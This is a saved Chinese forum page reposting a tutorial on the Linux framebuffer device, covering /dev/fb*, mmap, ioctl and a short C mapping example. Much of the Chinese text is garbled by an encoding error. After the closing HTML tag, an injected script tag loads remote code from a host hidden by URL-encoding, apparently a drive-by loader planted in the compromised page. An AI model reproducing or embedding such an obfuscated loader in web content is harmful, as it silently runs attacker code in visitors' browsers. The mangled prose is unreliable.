?? linux的幀緩沖設(shè)備(framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) arm應(yīng)用 - linux中國論壇 - powered by discuz!.htm
字號:
google_ad_width = 468;google_ad_height = 60;google_ad_format = "468x60_as";google_ad_type = "text_image";//2007-04-14: 論壇貼間廣告google_ad_channel = "1649312910";google_color_border = "FFFFFF";google_color_bg = "FFFFFF";google_color_link = "333333";google_color_text = "333333";google_color_url = "333333";//--></SCRIPT>
<SCRIPT
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/show_ads.js"
type=text/javascript></SCRIPT>
<BR><BR>
<DIV class=t_msgfont id=message41912>
<TABLE class=t_table cellSpacing=0 width="98%" align=center>
<TBODY>
<TR>
<TD>[/td]
<TR>
<TD>
<TABLE class=t_table cellSpacing=0 width="98%" align=center>
<TBODY>
<TR>
<TD>
<TABLE class=t_table cellSpacing=0 width="98%"
align=center>
<TBODY>
<TR>
<TD>
<TABLE class=t_table cellSpacing=0 width="98%"
align=center>
<TBODY>
<TR>
<TD width=650><FONT size=3>
幀緩沖(framebuffer)是Linux為顯示設(shè)備提供的一個接口,把顯存抽象后的一種設(shè)備,他允許上層應(yīng)用程序在圖形模式下直接對顯示緩沖區(qū)進行讀寫操作。這種操作是抽象的,統(tǒng)一的。用戶不必關(guān)心物理顯存的位置、換頁機制等等具體細節(jié)。這些都是由Framebuffer設(shè)備驅(qū)動來完成的。<BR>幀緩沖驅(qū)動的應(yīng)用廣泛,在linux的桌面系統(tǒng)中,Xwindow服務(wù)器就是利用幀緩沖進行窗口的繪制。尤其是通過幀緩沖可顯示漢字點陣,成為Linux漢化的唯一可行方案。 <BR>
Linux FrameBuffer
本質(zhì)上只是提供了對圖形設(shè)備的硬件抽象,在開發(fā)者看來,F(xiàn)rameBuffer
是一塊顯示緩存,往顯示緩存中寫入特定格式的數(shù)據(jù)就意味著向屏幕輸出內(nèi)容。所以說FrameBuffer就是一塊白板。<FONT
color=#ff12>例如對于初始化為16 位色</FONT><FONT
color=#ff12><FONT color=#012>的FrameBuffer 來說,
FrameBuffer中的兩個字節(jié)代表屏幕上一個點,從上到下,從左至右,屏幕位置與內(nèi)存地址是順序的線性關(guān)系。</FONT><BR><FONT
color=#012>
幀緩存可以在系統(tǒng)存儲器(內(nèi)存)的任意位置,視頻控制器通過訪問幀緩存</FONT><FONT
color=#012>來刷新屏幕。 </FONT><FONT
color=#012>幀緩存也叫刷新緩存 Frame buffer 或 refresh
buffer, 這里的幀(frame)</FONT><FONT
color=#012>是指整個屏幕范圍。 </FONT><BR><FONT
color=#012>
幀緩存有個地址,是在內(nèi)存里。我們通過不停的向frame buffer中寫入數(shù)據(jù),
</FONT><FONT color=#012>顯示控制器就自動的從frame
buffer中取數(shù)據(jù)并顯示出來。全部的圖形都共享</FONT><FONT
color=#012>內(nèi)存中同一個幀緩存。<BR>
CPU指定顯示控制器工作,則顯示控制器根據(jù)CPU的控制到指定的地方去取數(shù)據(jù) 和 指令,
目前的數(shù)據(jù)一般是從顯存里取, 如果顯存里存不下,則從內(nèi)存里取,
內(nèi)存也放不下,則從硬盤里取,當(dāng)然也不是內(nèi)存放不下,而是為了節(jié)省內(nèi)存的話,可以放在硬盤里,然后通過
指令控制顯示控制器去取。幀緩存 Frame Buffer,里面存儲的東西是一幀一幀的,
顯卡會不停的刷新Frame Buffer, 這每一幀如果不捕獲的話,
則會被丟棄,也就是說是實時的。這每一幀不管是保存在內(nèi)存還是顯存里, 都是一個顯性的信息,
這每一幀假設(shè)是800x600的分辨率,
則保存的是800x600個像素點,和顏色值。<BR>
顯示器可以顯示無限種顏色,目前普通電腦的顯卡可以顯示32位真彩、24位真彩、16位增強色、256色。除256色外,大家可以根據(jù)自己的需要在顯卡的允許范圍之內(nèi)隨意選擇。很多用戶有一種錯誤概念,認為256色是最高級的選項,而實際上正好相反。256色是最低級的選項,它已不能滿足彩色圖像的顯示需要。16位不是16種顏色,而是2的16次平方(256×256)種顏色,但256色就是256(2的8次平方)種顏色。所以16位色要比256色豐富得多。
<BR><BR></FONT></FONT>
幀緩沖設(shè)備對應(yīng)的設(shè)備文件為/dev/fb*,如果系統(tǒng)有多個顯示卡,Linux下還可支持多個幀緩沖設(shè)備,最多可達32
個,分別為/dev/fb0到/dev/fb31,而/dev/fb則為當(dāng)前缺省的幀緩沖設(shè)備,通常指向/dev/fb0。當(dāng)然在嵌入式系統(tǒng)中支持一個顯示設(shè)備就夠了。幀緩沖設(shè)備為標準字符設(shè)備,主設(shè)備號為29,次設(shè)備號則從0到31。分別對應(yīng)/dev/fb0-/dev/fb31。通過/dev/fb,應(yīng)用程序的操作主要有這幾種: <BR><BR>1.
讀/寫(read/write)/dev/fb:相當(dāng)于讀/寫屏幕緩沖區(qū)。例如用 cp
/dev/fb0 tmp命令可將當(dāng)前屏幕的內(nèi)容拷貝到一個文件中,而命令cp tmp >
/dev/fb0 則將圖形文件tmp顯示在屏幕上。 </FONT><BR><FONT
size=3><BR>2.映射(map)操作:由于Linux工作在保護模式,每個應(yīng)用程序都有自己的虛擬地址空間,在應(yīng)用程序中是不能直接訪問物理緩沖區(qū)地址的。為此,
Linux在文件操作
file_operations結(jié)構(gòu)中提供了mmap函數(shù),可將文件的內(nèi)容映射到用戶空間。對于幀緩沖設(shè)備,則可通過映射操作,可將屏幕緩沖區(qū)的物理地址映射到用戶空間的一段虛擬地址中,之后用戶就可以通過讀寫這段虛擬地址訪問屏幕緩沖區(qū),在屏幕上繪圖了。實際上,使用幀緩沖設(shè)備的應(yīng)用程序都是通過映射操作來顯示圖形的。由于映射操作都是由內(nèi)核來完成,下面我們將看到,幀緩沖驅(qū)動留給開發(fā)人員的工作并不多。</FONT><BR><FONT
size=3><BR>3.
I/O控制:對于幀緩沖設(shè)備,對設(shè)備文件的ioctl操作可讀取/設(shè)置顯示設(shè)備及屏幕的參數(shù),如分辨率,顯示顏色數(shù),屏幕大小等等。ioctl的操作是由底層的驅(qū)動程序來完成的。 <BR><BR>在應(yīng)用程序中,操作/dev/fb的一般步驟如下: <BR><BR>1.
打開/dev/fb設(shè)備文件。 <BR>2.
用ioctrl操作取得當(dāng)前顯示屏幕的參數(shù),如屏幕分辨率,每個像素點的比特數(shù)。根據(jù)屏幕參數(shù)可計算屏幕緩沖區(qū)的大小。 <BR>3.
將屏幕緩沖區(qū)映射到用戶空間。 <BR>4.
映射后就可以直接讀寫屏幕緩沖區(qū),進行繪圖和圖片顯示了。 <BR><BR>典型程序段如下: <BR><BR>#include
<linux/fb.h> <BR>int
main() <BR>{ <BR>int fbfd
= 0; <BR>struct fb_var_screeninfo
vinfo; <BR>struct fb_fix_screeninfo
finfo; <BR>long int screensize =
0; <BR>/*打開設(shè)備文件*/ <BR>fbfd
= open("/dev/fb0",
O_RDWR); <BR>/*取得屏幕相關(guān)參數(shù)*/ <BR>ioctl(fbfd,
FBIOGET_FSCREENINFO,
&finfo); <BR>ioctl(fbfd,
FBIOGET_VSCREENINFO,
&vinfo); <BR>/*計算屏幕緩沖區(qū)大小*/ <BR>screensize
= vinfo.xres * vinfo.yres * vinfo.bits_per_pixel
/
8; <BR>/*映射屏幕緩沖區(qū)到用戶地址空間*/ <BR>fbp=(char*)mmap(0,screensize,PROT_READ|PROT_WRITE,MAP_SHARED,
fbfd, 0); <BR>/*下面可通過fbp指針讀寫緩沖區(qū)*/
<BR></FONT><BR><BR></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV><BR
style="CLEAR: both"><FONT
style="FONT: 12px Tahoma, Verdana; COLOR: #333333"></FONT></TD></TR>
<TR>
<TD align=right><A onclick=scroll(0,0)
href="http://bbs.linux-cn.com/viewthread.php?tid=13809###"><IMG
alt=頂部
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/top.gif"
border=0></A>
</TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV></FORM></DIV>
<DIV class=maintable style="CLEAR: both">
<TABLE cellSpacing=0 cellPadding=0 width="98%" align=center>
<TBODY>
<TR>
<TD vAlign=top></TD>
<TD align=right width="40%">
<DIV class=right> <A
href="http://bbs.linux-cn.com/post.php?action=reply&fid=16&tid=13809&extra="><IMG
alt=""
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/reply.gif"
border=0></A></DIV>
<DIV class=right id=newspecialfooter onmouseover=showMenu(this.id)><A
href="http://bbs.linux-cn.com/post.php?action=newthread&fid=16&extra="><IMG
alt=""
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/newtopic.gif"
border=0></A><A
href="http://bbs.linux-cn.com/viewthread.php?tid=13809###"><IMG alt=""
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/newspecial.gif"
border=0></A></DIV>
<DIV class="popupmenu_popup newspecialmenu" id=newspecialfooter_menu
style="DISPLAY: none">
<TABLE cellSpacing=0 cellPadding=4 width="100%" border=0>
<TBODY>
<TR>
<TD class=popupmenu_option>
<DIV class=newspecial><A
href="http://bbs.linux-cn.com/post.php?action=newthread&fid=16&extra=&poll=yes">投票</A></DIV></TD></TR>
<TR>
<TD class=popupmenu_option>
<DIV class=newspecial><A
href="http://bbs.linux-cn.com/post.php?action=newthread&fid=16&extra=&trade=yes">交易</A></DIV></TD></TR>
<TR>
<TD class=popupmenu_option>
<DIV class=newspecial><A
href="http://bbs.linux-cn.com/post.php?action=newthread&fid=16&extra=&reward=yes">懸賞</A></DIV></TD></TR>
<TR>
<TD class=popupmenu_option>
<DIV class=newspecial><A
href="http://bbs.linux-cn.com/post.php?action=newthread&fid=16&extra=&activity=yes">活動</A></DIV></TD></TR></TBODY></TABLE></DIV></TR></TBODY></TABLE><BR></DIV><BR>
<DIV></DIV>
<DIV class=headermenu_popup id=memcp_menu style="DISPLAY: none">
<TABLE cellSpacing=0 cellPadding=4 border=0>
<TBODY>
<TR>
<TD class=popupmenu_option><A
href="http://bbs.linux-cn.com/memcp.php">控制面板首頁</A></TD></TR>
<TR>
<TD class=popupmenu_option><A
href="http://bbs.linux-cn.com/memcp.php?action=profile">編輯個人資料</A></TD></TR>
<TR>
<TD class=popupmenu_option><A
href="http://bbs.linux-cn.com/memcp.php?action=credits">積分交易</A></TD></TR>
<TR>
<TD class=popupmenu_option><A
href="http://bbs.linux-cn.com/memcp.php?action=usergroups">公眾用戶組</A></TD></TR>
<TR>
<TD class=popupmenu_option><A
href="http://bbs.linux-cn.com/memcp.php?action=buddylist">好友列表</A></TD></TR>
<TR>
<TD class=popupmenu_option><A
href="http://bbs.linux-cn.com/memcp.php?action=spacemodule"
target=_blank>個人空間管理</A></TD></TR>
<TR>
<TD class=popupmenu_option><A href="http://blog.linux-cn.com/?uid/0"
target=_blank>升級個人空間</A></TD></TR></TBODY></TABLE></DIV>
<DIV class=maintable style="CLEAR: both; COLOR: #666"><BR>當(dāng)前時區(qū) GMT+8, 現(xiàn)在時間是
2007-8-10 00:38<BR><A href="http://www.miibeian.gov.cn/"
target=_blank>粵ICP備05006655號</A> <BR><BR></DIV>
<DIV class=footerline>
<DIV><A href="http://bbs.linux-cn.com/viewthread.php?tid=13809#top"><IMG alt=""
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/footer_top.gif"
border=0></A></DIV></DIV>
<TABLE class=altbg1
style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 5px; PADDING-TOP: 5px"
cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD style="PADDING-LEFT: 30px" width=80><A href="http://www.discuz.net/"
target=_blank><IMG alt=""
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/discuz_icon.gif"
border=0></A> <A href="http://www.alipay.com/"
target=_blank><IMG alt="本論壇支付平臺由支付寶提供 攜手打造安全誠信的交易社區(qū)"
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/alipay_icon.gif"
border=0></A></TD>
<TD style="FONT-SIZE: 11px">Powered by <A style="COLOR: blue"
href="http://www.discuz.net/" target=_blank><B>Discuz!</B></A> <B
style="COLOR: #68d300">5.5.0</B> © 2001-2007 <A
href="http://www.comsenz.com/" target=_blank>Comsenz Inc.</A> <BR><SPAN
id=debuginfo>Processed in 0.043783 second(s), 6 queries </SPAN>
<SCRIPT
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/10856.js"
type=text/javascript></SCRIPT>
<NOSCRIPT><A href="http://www.51.la/?10856" target=_blank><IMG
style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none"
alt=我要啦免費統(tǒng)計 src=""></A></NOSCRIPT> </TD>
<TD style="PADDING-RIGHT: 30px" vAlign=bottom align=right>
<DIV class=right
style="PADDING-RIGHT: 7px; FONT: 9px Arial; COLOR: #154ba0; POSITION: relative; TOP: -5px"><A
href="http://bbs.linux-cn.com/viewthread.php?tid=13809#top">TOP</A></DIV><BR><A
href="http://bbs.linux-cn.com/member.php?action=clearcookies&formhash=255cd18d">清除
Cookies</A> - <A href="mailto:webmaster@linuxdby.com">聯(lián)系我們</A> - <A
href="http://www.linux-cn.com/" target=_blank>Linux中國</A> - <A
href="http://bbs.linux-cn.com/archiver/" target=_blank>Archiver</A> - <A
href="http://bbs.linux-cn.com/wap/" target=_blank>WAP</A>
</TD></TR></TBODY></TABLE><A name=bottom></A>
<DIV class=mainborder></DIV></CENTER>
<SCRIPT
src="Linux的幀緩沖設(shè)備(Framebuffer)簡介--(轉(zhuǎn)) - 嵌入式系統(tǒng) ARM應(yīng)用 - Linux中國論壇 - Powered by Discuz!.files/msn.js"
type=text/javascript></SCRIPT>
</BODY></HTML>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>
?? 快捷鍵說明
復(fù)制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -